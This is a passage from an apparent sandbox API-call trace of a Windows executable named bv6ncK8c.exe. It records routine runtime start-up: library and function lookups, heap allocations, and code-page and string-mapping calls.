lpProcName="StartDocW") returned 0x75314c51 [0086.316] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0086.316] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0086.316] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0086.316] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0086.316] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0086.316] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0086.317] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0086.317] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0086.317] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0086.317] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0086.317] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0086.317] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0086.317] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0086.317] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0086.317] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0086.317] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0086.317] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0086.317] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0086.325] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0086.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xd71e6d80, dwHighDateTime=0x1d5d06a)) [0086.325] GetCurrentThreadId () returned 0xd10 [0086.325] GetCurrentProcessId () returned 0xd0c [0086.325] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=22828869167) returned 1 [0086.645] GetProcessHeap () returned 0x2f0000 [0086.646] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0086.646] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0086.646] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0086.646] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0086.646] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0086.646] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0086.646] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0086.646] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0086.646] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0086.647] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0086.647] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0086.647] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0086.647] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0086.647] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0086.647] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0086.647] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0086.647] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0086.647] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0086.647] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0086.647] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0086.647] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0086.647] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0086.647] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0086.648] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0086.648] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0086.648] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0086.648] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0086.648] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0086.648] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0086.648] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0086.648] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0086.648] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0086.648] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0086.648] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0086.649] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3bc) returned 0x3060c8 [0086.649] GetCurrentThreadId () returned 0xd10 [0086.649] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x18) returned 0x306490 [0086.649] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x800) returned 0x3064b0 [0086.649] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c 158 -y -p 1824 -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x867f5b60, hStdError=0x0)) [0086.649] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0086.649] GetFileType (hFile=0x3) returned 0x2 [0086.649] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0086.650] GetFileType (hFile=0x7) returned 0x2 [0086.650] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0086.650] GetFileType (hFile=0xb) returned 0x2 [0086.650] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c 158 -y -p 1824 -nobanner" [0086.650] GetEnvironmentStringsW () returned 0x306cb8* [0086.650] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0xb86) returned 0x307848 [0086.651] FreeEnvironmentStringsW (penv=0x306cb8) returned 1 [0086.651] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x8e) returned 0x306cb8 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xa0) returned 0x306d50 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3e) returned 0x3083f0 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x6c) returned 0x306df8 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x6e) returned 0x306e70 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x78) returned 0x2ff8e8 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x62) returned 0x306ee8 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2e) returned 0x306f58 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x48) returned 0x306f90 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2a) returned 0x306fe0 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x28) returned 0x307018 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1a) returned 0x305a98 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x4a) returned 0x307048 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x72) returned 0x2ff968 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x30) returned 0x3070a0 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2e) returned 0x3070d8 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1c) returned 0x305ac0 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xd2) returned 0x307110 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x7c) returned 0x3071f0 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x36) returned 0x307278 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3a) returned 0x308438 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x90) returned 0x3072b8 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x24) returned 0x307350 [0086.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x30) returned 0x307380 [0086.652] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x36) returned 0x3073b8 [0086.652] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x48) returned 0x3073f8 [0086.652] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x52) returned 0x307448 [0086.652] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3c) returned 0x308480 [0086.652] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x18) returned 0x3074a8 [0086.652] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x82) returned 0x3074c8 [0086.652] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2e) returned 0x307558 [0086.652] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1e) returned 0x305ae8 [0086.652] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2c) returned 0x307590 [0086.652] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x54) returned 0x3075c8 [0086.652] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x52) returned 0x307628 [0086.652] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2a) returned 0x307688 [0086.652] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3c) returned 0x3084c8 [0086.652] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x54) returned 0x3076c0 [0086.652] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x24) returned 0x307720 [0086.652] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x30) returned 0x307750 [0086.652] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x8c) returned 0x307788 [0086.652] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307848 | out: hHeap=0x2f0000) returned 1 [0086.653] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x800) returned 0x307820 [0086.653] GetLastError () returned 0x0 [0086.653] SetLastError (dwErrCode=0x0) [0086.653] GetLastError () returned 0x0 [0086.653] SetLastError (dwErrCode=0x0) [0086.653] GetLastError () returned 0x0 [0086.653] SetLastError (dwErrCode=0x0) [0086.653] GetACP () returned 0x4e4 [0086.653] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x220) returned 0x308028 [0086.653] GetLastError () returned 0x0 [0086.653] SetLastError (dwErrCode=0x0) [0086.653] IsValidCodePage (CodePage=0x4e4) returned 1 [0086.653] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0086.653] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0086.653] GetLastError () returned 0x0 [0086.653] SetLastError (dwErrCode=0x0) [0086.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0086.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0086.653] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0086.653] GetLastError () returned 0x0 [0086.653] SetLastError (dwErrCode=0x0) [0086.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0086.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0086.653] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0086.653] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0086.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿðZ\x7f\x86äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0086.653] GetLastError () returned 0x0 [0086.653] SetLastError (dwErrCode=0x0) [0086.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0086.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0086.654] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0086.654] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0086.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ 